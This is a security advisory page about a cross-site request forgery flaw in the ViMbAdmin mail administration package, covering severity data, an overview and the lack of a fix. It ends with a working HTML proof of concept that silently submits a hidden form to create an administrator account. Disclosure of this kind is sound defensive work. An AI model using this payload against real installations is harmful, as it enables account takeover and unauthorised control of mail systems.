Cross-Site Request Forgery (CSRF) Affecting opensolutions/vimbadmin package, versions >=0.0.0


Severity

Recommended
0.0
high
0
10

CVSS assessment made by Snyk's Security Team. Learn more

Threat Intelligence

Exploit Maturity
Proof of concept
EPSS
0.24% (63rd percentile)

Do your applications use this vulnerable package?

In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.

Test your applications

Snyk Learn

Learn about Cross-Site Request Forgery (CSRF) vulnerabilities in an interactive lesson.

Start learning
  • Snyk IDSNYK-PHP-OPENSOLUTIONSVIMBADMIN-6674148
  • published26 Apr 2024
  • disclosed17 May 2022
  • creditFlorian NIVETTE

Introduced: 17 May 2022

CVE-2017-6086  (opens in a new tab)
CWE-352  (opens in a new tab)

How to fix?

There is no fixed version for opensolutions/vimbadmin.

Overview

Affected versions of this package are vulnerable to Cross-Site Request Forgery (CSRF) due to weak protection mechanisms in the addAction and purgeAction functions. An attacker can hijack the authentication of logged-in administrators to perform unauthorized actions such as adding or removing administrator users, changing administrator passwords, managing mailboxes, and altering alias addresses by crafting malicious requests.

PoC

<head>
<title>CSRF ViMbAdmin</title>
</head>
<body>


<iframe style="display:none" name="csrf-frame"></iframe>
<form id="csrf-form" action="http://<target ip>/admin/add" method="POST" target="csrf-frame" >
<input type="text" name="user" value="target@...il" >
<input type="text" name="password" value="newpassword" >
</form>


<script>document.getElementById("csrf-form").submit()</script>

</body>

CVSS Scores

version 3.1